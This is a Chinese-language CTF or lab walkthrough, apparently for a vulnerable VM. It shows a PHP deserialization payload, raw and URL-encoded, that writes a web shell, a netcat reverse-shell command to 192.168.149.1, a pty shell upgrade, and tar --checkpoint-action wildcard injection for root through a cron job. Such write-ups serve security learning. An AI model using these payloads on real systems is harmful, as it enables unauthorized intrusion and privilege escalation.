nmap 扫描端口
扫描目录出来个 scriptz
访问得到一个 js 一个 bak
访问下载
是一个 Log 类,后面析构函数实现了把 data 写到 filename 里面
1 | public function __destruct() |
然后构造一个序列化字符串,给他 index.php 发过去
1 | O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:29:"<?php system($_GET['cmd']);?>";} |
url 编码一下
1 | %4f%3a%33%3a%22%4c%6f%67%22%3a%32%3a%7b%73%3a%38%3a%22%66%69%6c%65%6e%61%6d%65%22%3b%73%3a%33%31%3a%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%63%72%69%70%74%7a%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%73%3a%34%3a%22%64%61%74%61%22%3b%73%3a%32%39%3a%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%3b%7d |
然后给 index.php 发过去,这样就在 scriptz 目录下生成一个 shell.php 的一句话
nc 反弹个 shellhttp://192.168.149.199/scriptz/shell.php?cmd=nc -e /bin/bash 192.168.149.1 6666
打开一个交互的 shellpython -c 'import pty;pty.spawn("/bin/bash")'
由于在 /home/rene/backup 目录下有一些备份文件,每分钟一个,所以可能有啥任务计划之类的
看一下
其中那个 /usr/bin/compress.sh 可以读到,看到他做了这么些事情
这里用到了 tar 提权
tar 选项中有一个 –checkpoint-action 当 –checkpoint-action=exec=command 时可以用来执行命令
当 –checkpoint=1 时可以用来显示信息
1 | echo "" > --checkpoint-action=exec=sh\ shell.sh; |
然后等着 corn 运行 tar 就能拿到 shell
看着他的 bak 文件多了然后再没了就差不多了
这时候 /bin/dash 就可以啦